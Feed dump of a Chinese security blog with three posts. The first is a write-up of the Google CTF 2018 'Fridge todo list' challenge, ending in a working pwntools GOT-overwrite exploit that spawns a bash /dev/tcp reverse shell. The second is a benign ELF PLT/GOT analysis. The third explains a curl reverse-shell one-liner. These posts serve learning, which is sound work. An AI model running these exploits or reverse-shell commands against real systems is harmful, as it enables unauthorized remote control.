Linux – 若水斋 https://blog.werner.wiki Try harder Sun, 12 Sep 2021 03:13:53 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg Linux – 若水斋 https://blog.werner.wiki 32 32 CTF Pwn 题目 Fridge todo list 解题记录 https://blog.werner.wiki/fridge-todo-list-write-up/ https://blog.werner.wiki/fridge-todo-list-write-up/#respond Sun, 12 Sep 2021 03:13:53 +0000 https://blog.werner.wiki/?p=2239 这是什么

Fridge todo list 是 Google CTF 2018 Quals Beginners Quest 中的一道 Pwn 题目。我最近在阅读 virusdefender 写的系列文章《二进制安全之栈溢出》,第 8 篇文章讲的是 GOT 和 PLT,其后的练习题便是这道题目。为了让学习更加有效,我决定完成这道练习题。

打开链接后我拿到了一个名为 todo 的可执行文件和它的源代码 todo.c。在完成题目之前,我决定不阅读 README.md 和 exploit.py。由于不能阅读说明文档,再加上没有参加过 CTF 比赛,我其实不知道这道题目想让我做什么。于是凭着自已的理解我定下了这样的目标——找到漏洞并成功利用。

前期检查

用 file 命令可以看到 todo 是一个 64 位动态链接的 ELF 文件。

$ file todo
todo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

用 checksec 命令检查 todo 开启的安全防护

$ checksec todo
[*] '/home/werner/Playground/todo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

看到

  • Arch:小端存储的 64 位程序
  • RELRO(read only relocation):部分开启,说明我们可能有对 GOT 的写权限
  • Stack:canary 没有开启
  • NX(no execute):开启,数据段不可执行
  • PIE(position-independent-executable):开启,如果操作系统也开启了 ASLR,程序每次运行时基址都不同

熟悉程序

直接运行 todo,发现它是一个可以保存、显示和删除待办事项的程序。部分运行输出如下所示:

$ ./todo
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗        
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗       
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║       
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║       
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝       
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝        

 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║   
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║   
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║   
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝   
user: werner

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 3

In which slot would you like to store the new entry? 0
What's your TODO? study

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 2

Which entry would you like to read? 0
Your TODO: study

我输入了 %s%s%s%s%s%s%100$p 等各种 payload 做为待办事项尝试触发格式化字符串漏洞,均未成功。

发现漏洞

通过阅读源代码,获得了以下重要信息。

  1. 待办事项保存在大小固定的 char 数组全局变量 todos 中,相关代码是
#define TODO_COUNT 128
#define TODO_LENGTH 48

char todos[TODO_COUNT*TODO_LENGTH];
  1. 读或写哪一项待办事项是由用户输入的,相关边界检查是
int idx = read_int();
if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
}

可以看到只检查了用户输入的 idx 是否超过了允许的最大值 TODO_COUNT,却没有检查 int 类型的 idx 是否小于 0。查看 read_int 函数的实现

int read_int() {
  char buf[128];
  read_line(buf, sizeof(buf));
  return atoi(buf);
}

看到它先读了一个字符串,再用 atoi 函数把字符串转为整数。atoi 函数是支持负数的。

如果输入负数,程序就会读或写 todos[负数*48] 地址的数据。可见 todo 存在“任意”地址数据读写漏洞。但这个“任意”是打引号的,并不是真正的任意,存在以下几点限制:

  • 只能读写比全局变量 todos 地址更小的地址的数据
  • 可以读写的地址的起点间隔 48 字节
  • 会被 \x00 截断

利用思路

讲 GOT 和 PLT 的文章后面的练习题,漏洞利用自然与 GOT 和 PLT 相关。先来查看 GOT 和 todos 的地址的相对位置。运行 todo,然后用 gdb 附加调试

$ gdb attach <todo 的 pid>

输入 gdb 命令 info variables 查看变量,部分输出如下所示

Non-debugging symbols:
0x00005588450fe2e0  _IO_stdin_used
0x00005588450fe300  BANNER
0x00005588450ff400  MENU
0x00005588450ff4a0  OUT_OF_BOUNDS_MESSAGE
0x00005588450ff7b8  __GNU_EH_FRAME_HDR
0x00005588450ffb7c  __FRAME_END__
0x00005588452ffde8  __frame_dummy_init_array_entry
0x00005588452ffde8  __init_array_start
0x00005588452ffdf0  __do_global_dtors_aux_fini_array_entry
0x00005588452ffdf0  __init_array_end
0x00005588452ffdf8  _DYNAMIC
0x0000558845300000  _GLOBAL_OFFSET_TABLE_
0x0000558845300098  __data_start
0x0000558845300098  data_start
0x00005588453000a0  __dso_handle
0x00005588453000a8  __TMC_END__
0x00005588453000a8  __bss_start
0x00005588453000a8  _edata
0x00005588453000c0  stdout
0x00005588453000c0  stdout@@GLIBC_2.2.5
0x00005588453000d0  stdin
0x00005588453000d0  stdin@@GLIBC_2.2.5
0x00005588453000d8  completed
0x00005588453000e0  username
0x0000558845300120  todo_fd
0x0000558845300140  todos
0x0000558845301940  _end
0x00007f153bf3dc47  inmask
0x00007f153bf3dd20  slashdot

可以看到 GOT 的地址是 0x0000558845300000(_GLOBAL_OFFSET_TABLE_)比 todos 的地址 0x0000558845300140 小。它们之间差了 0x140 = 320,是 48 的 6.66 倍。虽然每次运行程序地址都可能不同,但它们之间的相对位置是固定的。相差不是整数倍,但 GOT 表项很多,每个表项 8 字节,我们总可以找到恰当的一项来读或写。其实就漏洞利用来说,我们也不会尝试读 GOT 的第 0 项。

直接查看 GOT 只能看到一些地址,并不能知道 GOT 的哪项对应什么函数。因此我们查看 PLT

$ objdump -d -j .plt todo | grep '@plt'
0000000000000900 <puts@plt>:
0000000000000910 <write@plt>:
0000000000000920 <strlen@plt>:
0000000000000930 <errx@plt>:
0000000000000940 <system@plt>:
0000000000000950 <printf@plt>:
0000000000000960 <setlinebuf@plt>:
0000000000000970 <strncat@plt>:
0000000000000980 <close@plt>:
0000000000000990 <read@plt>:
00000000000009a0 <fgets@plt>:
00000000000009b0 <err@plt>:
00000000000009c0 <fflush@plt>:
00000000000009d0 <open@plt>:
00000000000009e0 <atoi@plt>:
00000000000009f0 <__ctype_b_loc@plt>:

又知道 PLT 的第 m 项是 GOT 的第 m+2 项。GOT 第 x 项的地址是 0x0000558845300000 + 8*x,todos 的地址 0x0000558845300140 减去 0x0000558845300000 + 8*x 要是 48 的整数倍,即

0x0000558845300140 - (0x0000558845300000 + 8*x) = 48*n

亦即

320 - 8*x = 48*n

亦即

6*n + x = 40

穷举可得整数解有

  • n=1, x=34
  • n=2, x=28
  • n=3, x=22
  • n=4, x=16
  • n=5, x=10
  • n=6, x=4

又知道 PLT 的最大项数是 17,所以 GOT 的最大项数是 19(19=17+2),所以 n 只能取 4、5 或 6。对应的函数是

  • n=4, open
  • n=5, strncat
  • n=6, write

小端存储的 64 位地址的最后几个字节一般来说都是 0x00,读取数据时遇到 0x00 会截断,所以只能从 GOT 中读这三个函数的地址。写数据时情况有所不同,虽然有效的地址含有 0x00,我们最多只能写入一个有效地址,但却可以在有效地址前写入 8*y 个非 0x00 的填充数据,总共覆盖 y+1 个 GOT 表项,只是只有最后一个表项被覆盖为有效地址。

阅读源代码可知 write 函数在程序最后才调用,因此只能选则读 open 函数或 strncat 函数的地址。读到某个 glibc 函数的地址,就可以跟据相对位置算出其它函数——比如 system 函数的地址。在 gdb 中,用 print 命令查看函数地址

gdb-peda$ print open
$2 = {int (const char *, int, ...)} 0x7ffff7af1d10 <__libc_open64>
gdb-peda$ print system
$3 = {int (const char *)} 0x7ffff7a31550 <__libc_system>

下次运行时,若读到 open 函数地址是 open_addr,便可算出 system 函数地址是 0x7ffff7a31550 – 0x7ffff7af1d10 + open_addr。

假设已经知道了 system 函数的地址,该怎样利用呢?

我们可以把某个函数的 GOT 表项覆盖为 system 函数的地址,并设法使该函数在下次调用时的参数是我们想要执行的 sh 命令字符串地址。逐个检查后发现 atoi 函数是最合适的,因为

  • 它接受一个字符串地址做参数
  • 它的参数是用户可以控制的

atoi 函数是 PLT 的第 15 项,所以是 GOT 的第 17 项。n 取 4 时是第 16 项,再加上 8 字节的填充即可覆盖第 17 项。

攻击脚本

按上面的思路,用 pwnlib 可以写出如下的攻击脚本

from pwn import *
from pwnlib.tubes import process

todo = process.process('./todo')
todo.recv()
todo.recv()
todo.sendline('admin')
todo.recv()

todo.sendline('2')
todo.recv()
todo.sendline('-4')    #  n=4,读 open 函数的 GOT 表项
r = todo.recv()
open_addr = u64(r[11:17]+'\x00\x00')
print("open_addr is {}".format(hex(open_addr)))

system_addr = 0x7ffff7a31550 - 0x7ffff7af1d10 + open_addr    # 计算 system 函数的地址
print("system_addr is {}".format(hex(system_addr)))

todo.sendline('3')
todo.recv()
todo.sendline('-4')
todo.recv()
todo.sendline('A'*8 + p64(system_addr))    # 覆盖 atoi 函数的 GOT 表项为 system 函数地址
todo.recv()

# 输入要执行的 sh 命令,这里写的是一个反弹 shell 命令
todo.sendline('bash -c "bash -i >&/dev/tcp/127.0.0.1/10001 0>&1"')
todo.recv()

运行如上所示的攻击脚本,成攻获得反弹 shell。

]]>
https://blog.werner.wiki/fridge-todo-list-write-up/feed/ 0
ELF 文件 PLT 和 GOT 静态分析 https://blog.werner.wiki/elf-plt-got-static-analysis/ https://blog.werner.wiki/elf-plt-got-static-analysis/#respond Sun, 05 Sep 2021 03:53:36 +0000 https://blog.werner.wiki/?p=2231 摘要

本文将对一个特意构造的、十分简单的、64 位的 ELF 文件的 PLT(Procedure Linkage Table)和 GOT(Global Offset Table)进行静态分析。目的是

  • 验证所学的关于 PLT 和 GOT 的相关知识
  • 加深对所学知识的理解和记忆
  • 记录分析时用到的命令以备忘

背景知识

关于什么是 PLT 和 GOT,可阅读海枫发表于 2016 年 6~7 月的系列文章

准备 ELF 文件

准备一个简单的 ELF 文件,源码如下所示

/* test.c */
#include <stdio.h>

int main() {
    int integer;
    printf("Enter an integer: ");
    scanf("%d", &integer);  
    printf("Number = %d\n", integer);
    return 0;
}

这段代码中 printf 和 scranf 这两个函数需要在运行时确定函数地址,即需用到 PLT 和 GOT。

用如下命令编译

gcc test.c -z norelro -fno-stack-protector -o test

简单起见,使用 gcc 选项 -z norelro 关闭了 RELRO,-fno-stack-protector 关闭了 CANNARY。

查看编译出的可执行文件

$ file test
test: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=779ce5dad37fc44d6106c16adae2c7557d775101, not stripped

试运行

$ ./test
Enter an integer: 1
Number = 1

查看 ELF 所有段

使用 readelf 命令可例出一个 ELF 文件的所有段。选项 --section-headers(可简写为 -S)的含义是 Display the sections' header--wide(可简写为 -W)的含义是 Allow output width to exceed 80 characters

$ readelf --section-headers --wide test
There are 30 section headers, starting at offset 0x1490:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        0000000000000200 000200 00001c 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            000000000000021c 00021c 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            000000000000023c 00023c 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000000260 000260 00001c 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          0000000000000280 000280 0000c0 18   A  6   1  8
  [ 6] .dynstr           STRTAB          0000000000000340 000340 00009d 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          00000000000003de 0003de 000010 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         00000000000003f0 0003f0 000030 00   A  6   1  8
  [ 9] .rela.dyn         RELA            0000000000000420 000420 0000c0 18   A  5   0  8
  [10] .rela.plt         RELA            00000000000004e0 0004e0 000030 18  AI  5  23  8
  [11] .init             PROGBITS        0000000000000510 000510 000017 00  AX  0   0  4
  [12] .plt              PROGBITS        0000000000000530 000530 000030 10  AX  0   0 16
  [13] .plt.got          PROGBITS        0000000000000560 000560 000008 08  AX  0   0  8
  [14] .text             PROGBITS        0000000000000570 000570 0001d2 00  AX  0   0 16
  [15] .fini             PROGBITS        0000000000000744 000744 000009 00  AX  0   0  4
  [16] .rodata           PROGBITS        0000000000000750 000750 000027 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0000000000000778 000778 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        00000000000007b8 0007b8 000108 00   A  0   0  8
  [19] .init_array       INIT_ARRAY      00000000002008c0 0008c0 000008 08  WA  0   0  8
  [20] .fini_array       FINI_ARRAY      00000000002008c8 0008c8 000008 08  WA  0   0  8
  [21] .dynamic          DYNAMIC         00000000002008d0 0008d0 0001f0 10  WA  6   0  8
  [22] .got              PROGBITS        0000000000200ac0 000ac0 000028 08  WA  0   0  8
  [23] .got.plt          PROGBITS        0000000000200ae8 000ae8 000028 08  WA  0   0  8
  [24] .data             PROGBITS        0000000000200b10 000b10 000010 00  WA  0   0  8
  [25] .bss              NOBITS          0000000000200b20 000b20 000008 00  WA  0   0  1
  [26] .comment          PROGBITS        0000000000000000 000b20 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          0000000000000000 000b50 000618 18     28  44  8
  [28] .strtab           STRTAB          0000000000000000 001168 00021e 00      0   0  1
  [29] .shstrtab         STRTAB          0000000000000000 001386 000107 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

其中与 PLT 和 GOT 有关的段是 .plt 和 .got.plt。下面我们将查看并分析这两个段的内容。此外还注意到 .dynamic 段的地址是 0x00000000002008d0,后文有相关内容。

.plt 段

PLT 中的每一项都是一小段代码,所以使用 objdump 命令查看 .plt 段的内容时添加反汇编参数。选项 --disassemble(可简写为 -d)的含义是 Display assembler contents of executable sections--full-contents(可简写为 -s)的含义是 Display the full contents of all sections requested--section(可简写为 -j)的含义是 Display information only for section name

$ objdump --disassemble --full-contents --section=.plt test

test:     file format elf64-x86-64

Contents of section .plt:
 0530 ff35ba05 2000ff25 bc052000 0f1f4000  .5.. ..%.. ...@.
 0540 ff25ba05 20006800 000000e9 e0ffffff  .%.. .h.........
 0550 ff25b205 20006801 000000e9 d0ffffff  .%.. .h.........

Disassembly of section .plt:

0000000000000530 <.plt>:
 530:   ff 35 ba 05 20 00       pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:   ff 25 bc 05 20 00       jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:   0f 1f 40 00             nopl   0x0(%rax)

0000000000000540 <printf@plt>:
 540:   ff 25 ba 05 20 00       jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:   68 00 00 00 00          pushq  $0x0
 54b:   e9 e0 ff ff ff          jmpq   530 <.plt>

0000000000000550 <__isoc99_scanf@plt>:
 550:   ff 25 b2 05 20 00       jmpq   *0x2005b2(%rip)        # 200b08 <__isoc99_scanf@GLIBC_2.7>
 556:   68 01 00 00 00          pushq  $0x1
 55b:   e9 d0 ff ff ff          jmpq   530 <.plt>

可以看到共有 3 个 PLT 表项,第 0 个表项(.plt)是共公 plt 表项,第 1 个表项(printf@plt)是 printf 函数对应的 PLT 表项,第 2 个表项(__isoc99_scanf@plt)是 scanf 函数对应的 PLT 表项。

.got.plt 段

GOT 的每一项都是一个地址,因此不用进行反汇编。同样使用 objdump 命令查看。

$ objdump --full-contents --section=.got.plt test

test:     file format elf64-x86-64

Contents of section .got.plt:
 200ae8 d0082000 00000000 00000000 00000000  .. .............
 200af8 00000000 00000000 46050000 00000000  ........F.......
 200b08 56050000 00000000                    V.......

64 位系统中地址长度是 64 比特,也就是 8 字节。按 8 字节一项并调整字节序后可得 GOT 的内容是

第几项 地址 内容 备注
0 0x200ae8 0x00000000002008d0 .dynamic 段地址
1 0x200af0 0x0000000000000000 本镜像的link_map数据结构地址,未运行无法确定,故以全 0 填充
2 0x200af8 0x0000000000000000 _dl_runtime_resolve 函数地址,未运行无法确定,故以全 0 填充
3 0x200b00 0x0000000000000546 printf 对应的 GOT 表项,内容是 printf 的 PLT 表项地址加 6
4 0x200b08 0x0000000000000556 scanf 对应的 GOT 表项,内容是 scanf 的 PLT 表项地址加 6

分析

以 printf 函数为例,分析 PLT 和 GOT 的工作过程。

反汇编 main 函数(以下命令输出删除了无关内容)

$ objdump --disassemble --full-contents --section=.text test

000000000000067a <main>:
 67a:   55                      push   %rbp
 67b:   48 89 e5                mov    %rsp,%rbp
 67e:   48 83 ec 10             sub    $0x10,%rsp
 682:   48 8d 3d cb 00 00 00    lea    0xcb(%rip),%rdi        # 754 <_IO_stdin_used+0x4>
 689:   b8 00 00 00 00          mov    $0x0,%eax
 68e:   e8 ad fe ff ff          callq  540 <printf@plt>
 693:   48 8d 45 fc             lea    -0x4(%rbp),%rax
 697:   48 89 c6                mov    %rax,%rsi
 69a:   48 8d 3d c6 00 00 00    lea    0xc6(%rip),%rdi        # 767 <_IO_stdin_used+0x17>
 6a1:   b8 00 00 00 00          mov    $0x0,%eax
 6a6:   e8 a5 fe ff ff          callq  550 <__isoc99_scanf@plt>
 6ab:   8b 45 fc                mov    -0x4(%rbp),%eax
 6ae:   89 c6                   mov    %eax,%esi
 6b0:   48 8d 3d b3 00 00 00    lea    0xb3(%rip),%rdi        # 76a <_IO_stdin_used+0x1a>
 6b7:   b8 00 00 00 00          mov    $0x0,%eax
 6bc:   e8 7f fe ff ff          callq  540 <printf@plt>
 6c1:   b8 00 00 00 00          mov    $0x0,%eax
 6c6:   c9                      leaveq 
 6c7:   c3                      retq   
 6c8:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
 6cf:   00

看到 main 函数调用 printf 函数的指令是 callq 540,0x540 正是 printf 函数的 PLT 表项的地址。反汇编结果里的 <printf@plt> 也明确地指出了这一点。

0x540 地址开始的几条指令是

 540:    ff 25 ba 05 20 00        jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:    68 00 00 00 00           pushq  $0x0
 54b:    e9 e0 ff ff ff           jmpq   530 <.plt>

看到它跳转到了 0x2005ba(%rip) 指向的地址,0x2005ba(%rip) 的内容在反汇编结果的注释中给出了,是 0x200b00。0x200b00 正是 printf 函数的 GOT 表项的地址,其内容是 0x0000000000000546,这个地址实际上是 printf 的 PLT 表项地址加 6。可见 0x540 处的 jmpq 指令实际上跳到了 0x546 处,相当于没有跳转。0x546 处的 pushq 指令将 0x00 压栈,可以理解为接下来要调用的函数的参数。接着 0x54b 处的 jmpq 指令跳转到了 0x530 即 PLT 表的第 0 项。

0x530 地址开始的几条指令是

 530:    ff 35 ba 05 20 00        pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:    ff 25 bc 05 20 00        jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:    0f 1f 40 00              nopl   0x0(%rax)

先是把 0x200af0 即 GOT 表的第 1 项压栈,接着跳转到 0x200af8 即 GOT 表的第 2 项亦即 _dl_runtime_resolve 函数,解析 pritnf 函数真正的地址。之后会执行 pritnf,并将 pritnf 函数真正的地址写到 printf 对应的 GOT 表项中。这样下次调用 ptinf 函数时 0x540 处的 jmpq 指令会直接跳转到 pritnf 函数真正的地址,不用再调用 _dl_runtime_resolve。

]]>
https://blog.werner.wiki/elf-plt-got-static-analysis/feed/ 0
curl 反弹 shell 原理 https://blog.werner.wiki/curl-reverse-shell-principle/ https://blog.werner.wiki/curl-reverse-shell-principle/#respond Tue, 16 Feb 2021 02:19:48 +0000 https://blog.werner.wiki/?p=1842 &-;} 3>&1|: 的工作原理。]]> 在某社交网站上看到一句 curl 反弹 shell 命令:

{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

这句命令就像魔法一样神奇,和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。

本文将简要叙述它的工作原理,但不会涉及反弹 shell 的基础知识。如果读者缺乏这些基础知识,可参考《Linux反弹shell(一)文件描述符与重定向》和《Linux 反弹shell(二)反弹shell的本质》。

预备知识

冒号

命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令,用 man bash 查看手册可以找到如下的说明:

: [参数]
    无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。

花括号

在 Bash 中,花括号有多种不同的用法,详情见《浅析 Bash 中的 {花括号}》。在我们尝试理解的魔法命令中用到了其中一种:可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令:

{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出,out.txt 的内容是:

1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt

需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。

另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:

{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt,而不是 outer.txt

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>

curl 参数

使用 man curl 可以查询到魔法命令中 curl 各个参数的含义,整理后列举如下:

  • -s, –silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout
  • -N, –no-buffer:禁用输出流的缓冲功能。正常情况下,curl 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
  • -k, –insecure:忽略证书错误。
  • -T, –upload-file :上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容;也可用 . 做文件名,以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

语法分析

为理解魔法命令,我们先对其进行语法分析。

魔法命令被倒数第二个字符 | (管道)分为前后两部分,如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。

                                +-------+
                                |       |
                                |   |   |
                                |       |
                                +-+---+-+
                                  |   |
              +------------+      |   |       +-------+
              |            |      |   |       |       |
              | {...} 3>&1 +------+   +-------+   :   |
              |            |                  |       |
              +------+-----+                  +-------+
                     |
              +------+-----+
              |            |
              |      |     |
              |            |
              +---+---+----+
                  |   |
                  |   +-------------------------------------+
                  |                                         |
+-----------------+------------------------------+    +-----+----+
|                                                |    |          |
|  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
|                                                |    |          |
+------------------------------------------------+    +----------+

fd 重定向分析

完成语法分析后可对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdinstdout 都是 pts/0。外层 |(倒数第二个字符)产生的匿名管道为 pipe1,内层 |(curl 和 sh 之间的管道)产生的匿名管道为 pipe2

可标注出外层 | 前后命令的 fd 如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                              stdin : pipe1
                         stdout: pipe1                                              stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1,即 stdout,如下图所示。

                                                                  +-------+
                                                                  |       |
                                                                  |   |   |
                                                                  |       |
                                                                  +-+---+-+
                                                                    |   |
+------------------------------------------------------------+      |   |       +-------+
|                                                            |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+   +-------+   :   |
|                                                            |                  |       |
+------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                         stdin : pipe1
                         stdout: pipe1                                         stdout: pts/0
                         fd 3  : pipe1

命令组中的命令会继承 {} 的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 curl 和 sh 的 fd 如下图所示。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+------------------------------+    +-----+----+
 |                                                |    |          |
 |  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
 |                                                |    |          |
 +------------------------------------------------+    +----------+

                 stdin : pts/0                         stdin : pipe2
                 stdout: pipe2                         stdout: pipe1
                 fd 3  : pipe1                         fd 3  : pipe1

curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3 表示把 stdin 重定向为 fd 3,即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+--------------------+              +-----+----+
 |                                      |              |          |
 |  curl -sNkT . https://$LHOST:$LPORT  |              |    sh    |
 |                                      |              |          |
 +--------------------------------------+              +----------+

                stdin : pipe1                          stdin : pipe2
                stdout: pipe2                          stdout: pipe1
                fd 3  : pipe1

从上图可以很清晰地看出,curl 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 curl 的 stdout 分别通过匿名管道 pipe1pipe2 相连。

工作原理

至此,我们已经基本弄清了魔法命令的工作原理,总结如下:利用 Bash 语法:命令组、管道和重定向等让 curl 命令和 sh 命令的 stdinstdout 交错相连;又添加 -T 等参数和文件名 . 让 curl 读取 stdin 的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout

遗留问题

为何要关闭 sh 命令的 fd 3?

测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。

: 命令的作用是什么?

